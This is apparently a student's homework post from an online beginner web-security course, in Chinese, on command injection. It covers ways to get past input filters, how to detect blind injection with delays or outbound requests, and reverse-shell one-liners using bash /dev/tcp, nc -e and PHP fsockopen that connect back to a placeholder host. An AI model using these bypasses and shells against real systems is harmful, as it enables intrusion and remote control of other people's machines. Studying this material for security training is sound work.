i春秋web作业2.28——命令注入

Web安全工程师(入门班)

【全国线上入门班53期】课后作业

 

2020-2-28

DorinXL

 

  1. 查资料都有哪些绕过命令注入过滤技巧?

    1.黑名单绕过

    字符拼接:a=l;b=s;$a$b 输出ls

        2.空格绕过:

        ${IFS}空格

        \x20转化成字符串也是空格

        重定向符<>

        3.编码绕过:

            输入echo MTIzCg==|base64 -d,将会打印123

        4.用单引号和双引号绕过:

            例如:ca''t flag 或者是 ca""t flag

        5.反斜杠绕过:

            例如:ca\t fl\ag

        6.绕过长度限制:

linux下可以用 1>a创建文件名为a的空文件,ls -t>test则会将目录按时间排序后写进test文件中,sh命令可以从一个文件中读取命令来执行

 

  1. 检测命令注入漏洞时没有回显怎么办?
  • 利用延时命令查看响应速度或者请求服务器查看是否接收到请求。
  • 延时注入:windows:ping 127.0.0.1 -n 5 >nul

    Linux : sleep 5

  • 远程请求:windows : ping,telnet等

            Linux : wget,curl等

  1. 怎么通过命令注入漏洞反弹shell?
  • 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
  • Bash方式$ bash -c "sh >& /dev/tcp/your ip/port 0>&1"
    
  • exec方式 : $ exec 5<>/dev/tcp/ip/port
  • nc方式
  • 本机运行:
  • nc -l -vv -p port
  • 目标主机:
  • nc -e /bin/bash ip port

     

  • php方式
  • php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

猜你喜欢

转载自www.cnblogs.com/DorinXL/p/12394365.html